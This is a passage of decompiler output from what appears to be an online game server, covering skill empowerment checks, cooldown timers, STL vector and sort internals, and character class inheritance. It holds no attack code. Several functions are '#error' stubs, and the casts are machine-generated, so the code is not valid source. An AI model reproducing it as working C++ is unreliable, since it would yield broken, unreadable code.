return 0; } v9 = (unsigned __int8)empalloc >> 4; v10 = (unsigned __int8)(LOBYTE(v4->plus._bf0) >> 4) + v9; if ( v10 > 5 ) { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_EmpowerAlloc : Too many point2", v10); --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerAlloc"); return 0; } v11 = ((unsigned int)(unsigned __int16)empalloc >> 8) & 0xF; if ( (signed int)(v11 + (HIBYTE(v4->plus._bf0) & 0xF)) > 5 ) { v33 = v11 + (HIBYTE(v4->plus._bf0) & 0xF); v32 = "CharaterSkillList::csl_EmpowerAlloc : Too many point3"; LABEL_7: AssertClass::ac_AssertFail(&shineassert, v32, v33); --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerAlloc"); return 0; } v12 = (unsigned int)(unsigned __int16)empalloc >> 12; v13 = (unsigned int)v4->plus._bf0 >> 12; v35 = v12; v14 = v13 + v12; if ( v14 > 5 ) { v33 = v14; v32 = "CharaterSkillList::csl_EmpowerAlloc : Too many point4"; goto LABEL_7; } v15 = (signed __int16)empalloc; v16 = v7 - (v4->minus._bf0 & 0xF); v17 = (unsigned __int8)((unsigned __int8)empalloc & 0xF) < (unsigned __int8)(v4->minus._bf0 & 0xF); empalloc = (PROTO_NC_SKILL_EMPOWALLOC_REQ *)((unsigned __int8)((unsigned __int8)empalloc & 0xF) >= (unsigned __int8)(v4->minus._bf0 & 0xF)); if ( v17 ) { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_EmpowerAlloc : Too many point5", v16); LABEL_13: v37 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } v18 = v4->minus._bf0; if ( AssertClass::operator__( &shineassert, (v15 & 0xF0u) >= (v18 & 0xF0u), "CharaterSkillList::csl_EmpowerAlloc : Too many point6", v9 - ((unsigned __int8)v4->minus._bf0 >> 4)) || AssertClass::operator__( &shineassert, (v15 & 0xF00u) >= (v4->minus._bf0 & 0xF00u), "CharaterSkillList::csl_EmpowerAlloc : Too many point7", v11 - (((unsigned int)v4->minus._bf0 >> 8) & 0xF)) || AssertClass::operator__( &shineassert, (v15 & 0xF000u) >= (v4->minus._bf0 & 0xF000u), "CharaterSkillList::csl_EmpowerAlloc : Too many point8", v35 - ((unsigned int)v4->minus._bf0 >> 12)) || (v19 = CharaterSkillList::csl_GetSkillStruct(thisa, v4->skill), AssertClass::operator__(&shineassert, v19 != 0, "CharaterSkillList::csl_EmpowerAlloc : Not learn", 0)) ) goto LABEL_13; v20 = v19->cs_Empower._bf0; v21 = v20 ^ (v20 + LOBYTE(v4->plus._bf0)); v37 = -1; v22 = v20 ^ v21 & 0xF; v19->cs_Empower._bf0 = v22; v23 = v22 ^ (unsigned __int8)((v22 ^ (LOBYTE(v4->plus._bf0) + (v22 & 0xF0))) & 0xF0); v19->cs_Empower._bf0 = v23; LOWORD(v24) = v23 ^ (v23 ^ (v23 + (v4->plus._bf0 & 0xFF00))) & 0xF00; v19->cs_Empower._bf0 = v24; v25 = v24 ^ v4->plus._bf0; v24 &= 0xF000u; LOWORD(v24) = v4->plus._bf0 + v24; v26 = v24 ^ v25 & 0xFFF; v19->cs_Empower._bf0 = v26; v27 = v26 ^ ((unsigned __int8)v26 ^ (unsigned __int8)(v26 - LOBYTE(v4->minus._bf0))) & 0xF; v19->cs_Empower._bf0 = v27; v28 = v27 ^ (unsigned __int8)((v27 ^ ((_BYTE)v27 - 16 * ((LOBYTE(v4->minus._bf0) >> 4) & 0xF))) & 0xF0); v19->cs_Empower._bf0 = v28; v29 = v28 ^ ((unsigned __int16)v28 ^ (unsigned __int16)((_WORD)v28 - ((HIBYTE(v4->minus._bf0) & 0xF) << 8))) & 0xF00; HIWORD(v28) = 0; v19->cs_Empower._bf0 = v29; LOWORD(v28) = (unsigned __int16)v4->minus._bf0 >> 12; v30 = v29 - (v28 << 12); v31 = empowresult; v19->cs_Empower._bf0 = v30; v31->_bf0 = v30; FunctionEntarance::_FunctionEntarance(&_); return 1; } //----- (00431FB0) -------------------------------------------------------- #error "431FB0: undefined or illegal type '#434' (funcsize=75)" //----- (004320E0) -------------------------------------------------------- char __thiscall CharaterSkillList::csl_UpdateCoolTime(CharaterSkillList *this, unsigned __int16 skill, unsigned int eoct) { CharaterSkillList *v3; // esi@1 CharaterSkillList::CharSkill *v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_UpdateCoolTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_UpdateCoolTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = CharaterSkillList::csl_GetSkillStruct(v3, skill); if ( !v4 ) { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_UpdateCoolTime : Not learn", skill); LABEL_3: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_UpdateCoolTime"); return 0; } if ( v4->cs_EndOfCooltime <= eoct ) goto LABEL_3; v4->cs_EndOfCooltime = eoct; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_UpdateCoolTime"); return 1; } //----- (004321E0) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_SetCoolTime(CharaterSkillList *this, unsigned __int16 skill, unsigned int cooltime_milli, int delaygroupnum, unsigned int delaygroupcooltime_milli, int empowdiscount) { CharaterSkillList *v6; // edi@1 unsigned int v7; // esi@1 CharaterSkillList::CharSkill *v8; // ecx@1 int v9; // ebx@3 int i; // ebp@3 int v11; // eax@4 CharaterSkillList::CharSkill *v12; // ecx@5 unsigned int v13; // eax@6 char *v14; // [sp-14h] [bp-24h]@2 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_SetCoolTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_SetCoolTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; v8 = CharaterSkillList::csl_GetSkillStruct(v6, skill); if ( v8 != 0 ) { v9 = empowdiscount; v8->cs_EndOfCooltime = 10 * (cooltime_milli - empowdiscount) / 0x3E8 + clockwatch.cw_CurrTick - 3; for ( i = 0; i < v6->csl_SkillNumber; ++v7 ) { v11 = CharaterSkillList::csl_GetDelayGroup(v6, v6->csl_Skill._Myfirst[v7].cs_SkillId, (int *)&cooltime_milli); if ( v11 == delaygroupnum ) { v12 = v6->csl_Skill._Myfirst; if ( v12[v7].cs_SkillId != skill ) { v13 = 10 * (delaygroupcooltime_milli - v9) / 0x3E8 + clockwatch.cw_CurrTick - 3; if ( v12[v7].cs_EndOfCooltime < v13 ) v12[v7].cs_EndOfCooltime = v13; } } ++i; } v14 = "CharaterSkillList::csl_SetCoolTime"; } else { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_SetCoolTime : Not learn", skill); v14 = "CharaterSkillList::csl_SetCoolTime"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); } //----- (00432330) -------------------------------------------------------- void __cdecl std::sort_heap>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { int v3; // eax@1 int v4; // esi@2 _BYTE v5[20]; // ST0C_20@3 v3 = (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20; if ( v3 > 1 ) { v4 = *(_DWORD *)&_Last - 20; if ( v3 <= 1 ) goto LABEL_4; do { *(_DWORD *)v5 = *(_DWORD *)v4; *(_QWORD *)&v5[4] = *(_QWORD *)(v4 + 4); *(_QWORD *)&v5[12] = *(_QWORD *)(v4 + 12); std::_Pop_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( _First, (std::vector >::iterator)v4, (std::vector >::iterator)v4, *(CharaterSkillList::CharSkill *)v5, _Pred, 0); LABEL_4: v4 -= 20; } while ( (20 - *(_DWORD *)&_First + v4) / 20 > 1 ); } } //----- (004323C0) -------------------------------------------------------- char __thiscall CharaterSkillList::csl_PreSkillCheck(CharaterSkillList *this, #434 *a2, const char *preskill) { CharaterSkillList *v3; // esi@1 char result; // al@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_PreSkillCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_PreSkillCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *preskill == 45 || (*(_DWORD *)&skillbtreeunion = BTree::operator__(&skillnametree, preskill), CharaterSkillList::csl_IsLearn(v3, skillbtreeunion)) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_PreSkillCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_PreSkillCheck"); result = 0; } return result; } //----- (004324A0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00432510) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, CharaterSkillList::CharSkill *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // edx@1 CharaterSkillList::CharSkill *v6; // ebx@1 int v7; // ecx@1 unsigned int v8; // edx@1 int v9; // eax@1 unsigned int v10; // ecx@2 signed int v11; // edx@3 unsigned int v12; // edi@4 int v13; // eax@6 int v14; // eax@11 int v15; // ecx@15 int v16; // eax@18 int v17; // ebx@22 CharaterSkillList::CharSkill *v18; // ST18_4@22 int v19; // eax@22 int v20; // edi@24 CharaterSkillList::CharSkill *v21; // ecx@27 std::vector >::iterator v22; // ebx@27 CharaterSkillList::CharSkill *v23; // ecx@28 CharaterSkillList::CharSkill *v24; // ST24_4@28 unsigned int v25; // edi@28 int v26; // [sp-Ch] [bp-30h]@1 CharaterSkillList::CharSkill _Tmp; // [sp+0h] [bp-24h]@1 int *v28; // [sp+14h] [bp-10h]@1 int v29; // [sp+20h] [bp-4h]@22 CharaterSkillList::CharSkill *_Wherea; // [sp+2Ch] [bp+8h]@29 CharaterSkillList::CharSkill *_Counta; // [sp+30h] [bp+Ch]@22 void *_Newvec; // [sp+34h] [bp+10h]@22 CharaterSkillList::CharSkill *_Newveca; // [sp+34h] [bp+10h]@27 v4 = this; v5 = _Val->cs_EndOfCooltime; v6 = this->_Myfirst; *(_DWORD *)&_Tmp.cs_SkillId = *(_DWORD *)&_Val->cs_SkillId; v7 = *(_DWORD *)&_Val->cs_Empower._bf0; _Tmp.cs_EndOfCooltime = v5; v8 = _Val->cs_Mastery; v9 = _Val->cs_bSave; v28 = &v26; *(_DWORD *)&_Tmp.cs_Empower._bf0 = v7; _Tmp.cs_Mastery = v8; _Tmp.cs_bSave = v9; if ( v6 ) { v11 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v4->_Myend - (char *)v6)) >> 32) >> 3; v10 = v11 + ((unsigned int)v11 >> 31); } else { v10 = 0; } v12 = _Count; if ( _Count ) { if ( v6 ) v13 = v4->_Mylast - v6; else v13 = 0; if ( 214748364 - v13 < _Count ) std::vector>::_Xlen(v4); if ( v6 ) v14 = v4->_Mylast - v6; else v14 = 0; if ( v10 >= _Count + v14 ) { v21 = v4->_Mylast; v22 = _Where; _Newveca = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 20 >= _Count ) { _Wherea = &v21[-_Count]; v4->_Mylast = std::_Uninit_copy>::iterator_CharaterSkillList::CharSkill___std::allocator>( &v21[-_Count], v21, v21, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v21 - 20 * _Count)); std::_Copy_backward_opt( *(CharaterSkillList::CharSkill **)&v22, _Wherea, _Newveca, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(CharaterSkillList::CharSkill **)&v22, (CharaterSkillList::CharSkill *)(*(_DWORD *)&v22 + 20 * _Count), &_Tmp); } else { std::_Uninit_copy>::iterator_CharaterSkillList::CharSkill___std::allocator>( *(CharaterSkillList::CharSkill **)&_Where, v21, (CharaterSkillList::CharSkill *)(*(_DWORD *)&_Where + 20 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(20 * _Count)); v23 = v4->_Mylast; v24 = v4->_Mylast; v29 = 2; std::vector>::_Ufill( v4, v24, _Count - (signed int)((char *)v23 - *(_DWORD *)&_Where) / 20, &_Tmp); v25 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (CharaterSkillList::CharSkill *)v25; std::fill( *(CharaterSkillList::CharSkill **)&_Where, (CharaterSkillList::CharSkill *)(v25 - 20 * _Count), &_Tmp); } } else { if ( 214748364 - (v10 >> 1) >= v10 ) v15 = (v10 >> 1) + v10; else v15 = 0; if ( v6 ) v16 = v4->_Mylast - v6; else v16 = 0; if ( v15 < _Count + v16 ) v15 = _Count + std::vector>::size((std::vector > *)v4); v17 = 20 * v15; _Newvec = operator new(20 * v15); v18 = v4->_Myfirst; v29 = 0; _Counta = std::_Uninit_copy>::iterator_CharaterSkillList::CharSkill___std::allocator>( v18, *(CharaterSkillList::CharSkill **)&_Where, (CharaterSkillList::CharSkill *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Counta, v12, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_CharaterSkillList::CharSkill___std::allocator>( *(CharaterSkillList::CharSkill **)&_Where, v4->_Mylast, &_Counta[v12], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v19 = (int)v4->_Myfirst; if ( v19 ) v19 = (signed int)((char *)v4->_Mylast - v19) / 20; v20 = v19 + v12; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v4->_Myend = (CharaterSkillList::CharSkill *)((char *)_Newvec + v17); v4->_Mylast = (CharaterSkillList::CharSkill *)((char *)_Newvec + 20 * v20); v4->_Myfirst = (CharaterSkillList::CharSkill *)_Newvec; } } } //----- (004327E0) -------------------------------------------------------- void __cdecl std::_Sort>::iterator_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, int _Ideal, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { std::vector >::iterator v4; // ebx@1 std::vector >::iterator v5; // edi@1 int v6; // eax@1 signed int v7; // esi@2 std::vector >::iterator v8; // ebp@4 signed int v9; // edx@12 std::pair >::iterator,std::vector >::iterator> _Mid; // [sp+10h] [bp-8h]@4 v4 = _First; v5 = _Last; v6 = (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20; if ( v6 <= 32 ) goto LABEL_8; v7 = _Ideal; while ( v7 > 0 ) { std::_Unguarded_partition>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( &_Mid, v4, v5, _Pred); v8 = *(std::vector >::iterator *)&_Mid.second.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v7 = v7 / 2 / 2 + v7 / 2; if ( (*(_DWORD *)&_Mid - *(_DWORD *)&v4) / 20 >= (*(_DWORD *)&v5 - *(_DWORD *)&_Mid.second.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]) / 20 ) { std::_Sort>::iterator_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( _Mid.second, v5, v7, _Pred); v5 = *(std::vector >::iterator *)&_Mid; } else { std::_Sort>::iterator_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( v4, _Mid.first, v7, _Pred); v4 = v8; } v6 = (*(_DWORD *)&v5 - *(_DWORD *)&v4) / 20; if ( v6 <= 32 ) goto LABEL_8; } if ( v6 <= 32 ) { LABEL_8: if ( v6 > 1 ) std::_Insertion_sort>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( v4, v5, _Pred); } else { v9 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&v5 - *(_DWORD *)&v4)) >> 32) >> 3; if ( (signed int)(v9 + ((unsigned int)v9 >> 31)) > 1 ) std::_Make_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( v4, v5, _Pred, 0, 0); std::sort_heap>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( v4, v5, _Pred); } } //----- (00432930) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 CharaterSkillList::CharSkill *v3; // eax@3 unsigned int v4; // ebx@6 CharaterSkillList::CharSkill *v5; // ST04_4@6 CharaterSkillList::CharSkill *v6; // ST00_4@6 CharaterSkillList::CharSkill *v7; // ecx@6 int v8; // edi@7 signed int v9; // edx@8 int v10; // [sp-Ch] [bp-1Ch]@1 int *v11; // [sp+0h] [bp-10h]@1 int v12; // [sp+Ch] [bp-4h]@6 void *_Ptr; // [sp+18h] [bp+8h]@6 v11 = &v10; v2 = this; if ( _Count > 0xCCCCCCC ) std::vector>::_Xlen(this); v3 = this->_Myfirst; if ( v3 ) v3 = (CharaterSkillList::CharSkill *)(this->_Myend - v3); if ( (unsigned int)v3 < _Count ) { v4 = 20 * _Count; _Ptr = operator new(20 * _Count); v5 = v2->_Mylast; v6 = v2->_Myfirst; v12 = 0; std::_Uninit_copy>::iterator_CharaterSkillList::CharSkill___std::allocator>( v6, v5, (CharaterSkillList::CharSkill *)_Ptr, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Ptr); v7 = v2->_Myfirst; if ( v7 ) { v9 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v2->_Mylast - (char *)v7)) >> 32) >> 3; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( v7 ) operator delete(v2->_Myfirst); v2->_Myend = (CharaterSkillList::CharSkill *)((char *)_Ptr + v4); v2->_Mylast = (CharaterSkillList::CharSkill *)((char *)_Ptr + 20 * v8); v2->_Myfirst = (CharaterSkillList::CharSkill *)_Ptr; } } //----- (00432A20) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, CharaterSkillList::CharSkill _Val) { std::vector > *v3; // esi@1 CharaterSkillList::CharSkill *v4; // ecx@1 int v5; // eax@2 int v6; // eax@6 CharaterSkillList::CharSkill *v7; // edi@10 CharaterSkillList::CharSkill *v8; // eax@11 v3 = this; v4 = this->_Myfirst; if ( v4 ) v5 = v3->_Mylast - v4; else v5 = 0; if ( v5 >= _Newsize ) { if ( v4 ) { v7 = v3->_Mylast; if ( _Newsize < v3->_Mylast - v4 ) { v8 = &v4[_Newsize]; if ( v8 != v7 ) v3->_Mylast = std::_Copy_opt( v7, v7, v8, (std::_Nonscalar_ptr_iterator_tag)_Newsize); } } } else { if ( v4 ) v6 = v3->_Mylast - v4; else v6 = 0; std::vector>::_Insert_n( v3, (std::vector >::iterator)v3->_Mylast, _Newsize - v6, &_Val); } } //----- (00432AD0) -------------------------------------------------------- void __thiscall CharaterSkillList::CharaterSkillList(CharaterSkillList *this) { this->csl_Skill._Myfirst = 0; this->csl_Skill._Mylast = 0; this->csl_Skill._Myend = 0; std::vector>::reserve( &this->csl_Skill, 0xBB8u); } //----- (00432B20) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_Store(CharaterSkillList *this, PROTO_NC_CHAR_SKILL_CMD *charskill) { CharaterSkillList *v2; // esi@1 unsigned __int16 v3; // ax@1 _BYTE v4[20]; // ST04_20@3 int v5; // eax@4 CharaterSkillList::CharSkill *v6; // ecx@4 int v7; // ecx@7 int v8; // ecx@9 char *v9; // [sp-14h] [bp-28h]@2 int cur; // [sp+0h] [bp-14h]@3 FunctionEntarance _; // [sp+4h] [bp-10h]@1 int v12; // [sp+10h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "CharaterSkillList::csl_Store"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = charskill->number; v12 = 0; if ( v3 < 0xBB8u ) { mysecond(&cur); *(_DWORD *)v4 = 0; *(_QWORD *)&v4[4] = 0i64; *(_QWORD *)&v4[12] = 0i64; std::vector>::resize( &v2->csl_Skill, charskill->number, *(CharaterSkillList::CharSkill *)v4); v2->csl_SkillNumber = 0; if ( charskill->number ) { do { v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_SkillId = *(&charskill[1].number + 8 * v2->csl_SkillNumber); v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_Empower._bf0 = v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_Empower._bf0 & 0xFFF0 | *((_BYTE *)&charskill->chrregnum + 16 * (v2->csl_SkillNumber + 1)) & 0xF; v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_Empower._bf0 = v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_Empower._bf0 & 0xFF0F | 16 * (unsigned __int8)(*((_BYTE *)&charskill->chrregnum + 16 * (v2->csl_SkillNumber + 1)) >> 4); v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_Empower._bf0 = v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_Empower._bf0 & 0xF0FF | *(&charskill[2].number + 8 * v2->csl_SkillNumber) & 0xF00; v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_Empower._bf0 = v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_Empower._bf0 & 0xFFF | ((unsigned __int8)(*((_BYTE *)&charskill[2].number + 16 * v2->csl_SkillNumber + 1) >> 4) << 12); v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_Mastery = *(&charskill[3].chrregnum + 4 * v2->csl_SkillNumber); v5 = v2->csl_SkillNumber; v6 = v2->csl_Skill._Myfirst; if ( *(&charskill[2].chrregnum + 4 * v2->csl_SkillNumber) ) v6[v5].cs_bSave = 1; else v6[v5].cs_bSave = 0; v7 = *(&charskill[2].chrregnum + 4 * v2->csl_SkillNumber) - (unsigned __int64)difftime(cur, *(&charskill[1].chrregnum + 4 * v2->csl_SkillNumber)); if ( v7 < 0 ) v7 = 0; v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_EndOfCooltime = clockwatch.cw_CurrTick + 10 * v7; v8 = v2->csl_SkillNumber + 1; v2->csl_SkillNumber = v8; } while ( v8 < charskill->number ); } std::_Sort>::iterator_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( (std::vector >::iterator)v2->csl_Skill._Myfirst, (std::vector >::iterator)v2->csl_Skill._Mylast, v2->csl_Skill._Mylast - v2->csl_Skill._Myfirst, CharaterSkillList::CharSkill::cs_Compare_STLVer); v12 = -1; v9 = "CharaterSkillList::csl_Store"; } else { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_Store : Too many skills", v3); v12 = -1; v9 = "CharaterSkillList::csl_Store"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); } //----- (00432DB0) -------------------------------------------------------- #error "432DB0: undefined or illegal type '#325' (funcsize=27)" //----- (00432E00) -------------------------------------------------------- #error "432E00: undefined or illegal type '#325' (funcsize=27)" //----- (00432E50) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime(ItemAttrCls_ByteLot *this) { return 0; } //----- (00432E60) -------------------------------------------------------- AttackRhythm::AttackRhythmBase *__thiscall CharClass::cc_AttackRhythm(CharClass *this) { return (AttackRhythm::AttackRhythmBase *)&attrhythm_melee; } //----- (00432E70) -------------------------------------------------------- #error "432E70: undefined or illegal type '#325' (funcsize=7)" //----- (00432E90) -------------------------------------------------------- int __thiscall CharClassMob::cc_ClassType(CharClassMob *this) { return 26; } //----- (00432EA0) -------------------------------------------------------- AttackRhythm::AttackRhythmBase *__thiscall CharClassMob::cc_AttackRhythm(CharClassMob *this) { return (AttackRhythm::AttackRhythmBase *)&attrhythm_mob; } //----- (00432EB0) -------------------------------------------------------- #error "432EB0: undefined or illegal type '#325' (funcsize=6)" //----- (00432ED0) -------------------------------------------------------- bool __thiscall CharClassCleverFighter::cc_IsDescendantsOf(CharClassCleverFighter *this, int classType) { return classType == 1; } //----- (00432EE0) -------------------------------------------------------- bool __thiscall CharClassWarrior::cc_IsDescendantsOf(CharClassWarrior *this, int classType) { return classType == 1 || classType == 2; } //----- (00432F00) -------------------------------------------------------- bool __thiscall CharClassGladiator::cc_IsDescendantsOf(CharClassKnight *this, int classType) { return classType == 1 || classType == 2 || classType == 3; } //----- (00432F20) -------------------------------------------------------- bool __thiscall CharClassHighCleric::cc_IsDescendantsOf(CharClassHighCleric *this, int classType) { return classType == 6; } //----- (00432F30) -------------------------------------------------------- bool __thiscall CharClassPaladin::cc_IsDescendantsOf(CharClassPaladin *this, int classType) { return classType == 6 || classType == 7; } //----- (00432F50) -------------------------------------------------------- bool __thiscall CharClassHolyKnight::cc_IsDescendantsOf(CharClassGuardian *this, int classType) { return classType == 6 || classType == 7 || classType == 8; } //----- (00432F70) -------------------------------------------------------- AttackRhythm::AttackRhythmBase *__thiscall CharClassArchar::cc_AttackRhythm(CharClassArchar *this) { return (AttackRhythm::AttackRhythmBase *)&attrhythm_range; } //----- (00432F80) -------------------------------------------------------- bool __thiscall CharClassHawkArcher::cc_IsDescendantsOf(CharClassHawkArcher *this, int classType) { return classType == 11; } //----- (00432F90) -------------------------------------------------------- bool __thiscall CharClassScout::cc_IsDescendantsOf(CharClassScout *this, int classType) { return classType == 11 || classType == 12; } //----- (00432FB0) -------------------------------------------------------- bool __thiscall CharClassRanger::cc_IsDescendantsOf(CharClassRanger *this, int classType) { return classType == 11 || classType == 12 || classType == 13; } //----- (00432FD0) -------------------------------------------------------- #error "432FD0: undefined or illegal type '#740' (funcsize=4)" //----- (00432FE0) -------------------------------------------------------- bool __thiscall CharClassWizMage::cc_IsDescendantsOf(CharClassWizMage *this, int classType) { return classType == 16; } //----- (00432FF0) -------------------------------------------------------- bool __thiscall CharClassEnchanter::cc_IsDescendantsOf(CharClassEnchanter *this, int classType) { return classType == 16 || classType == 17; } //----- (00433010) -------------------------------------------------------- bool __thiscall CharClassWarrock::cc_IsDescendantsOf(CharClassWizard *this, int classType) { return classType == 16 || classType == 17 || classType == 18; } //----- (00433030) -------------------------------------------------------- int __thiscall CharClassJoker::cc_PromoteClass(ItemAttrCls_Feed *this) { return 22; } //----- (00433040) -------------------------------------------------------- bool __thiscall CharClassChaser::cc_IsDescendantsOf(CharClassChaser *this, int classType) { return classType == 21; } //----- (00433050) -------------------------------------------------------- int __thiscall CharClassChaser::cc_PromoteClass(ItemAttrCls_Riding *this) { return 23; } //----- (00433060) -------------------------------------------------------- bool __thiscall CharClassCruel::cc_IsDescendantsOf(CharClassCruel *this, int classType) { return classType == 21 || classType == 22; } //----- (00433080) -------------------------------------------------------- void __thiscall CharClassWizMage::_CharClassWizMage(CharClassAssassin *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); } // 5A9EE8: using guessed type int (__stdcall *CharClass___vftable_[10])(int iti, int dEndureEndTime); //----- (00433090) -------------------------------------------------------- int __thiscall CharClassCloser::cc_PromoteClass(ItemAttrCls_Amount *this) { return 24; } //----- (004330A0) -------------------------------------------------------- int __thiscall CharClassAssassin::cc_ClassType(ItemAttrCls_UpgradeGoldGem *this) { return 25; } //----- (004330B0) -------------------------------------------------------- bool __thiscall CharClassAssassin::cc_IsDescendantsOf(CharClassAssassin *this, int classType) { return classType == 21 || classType == 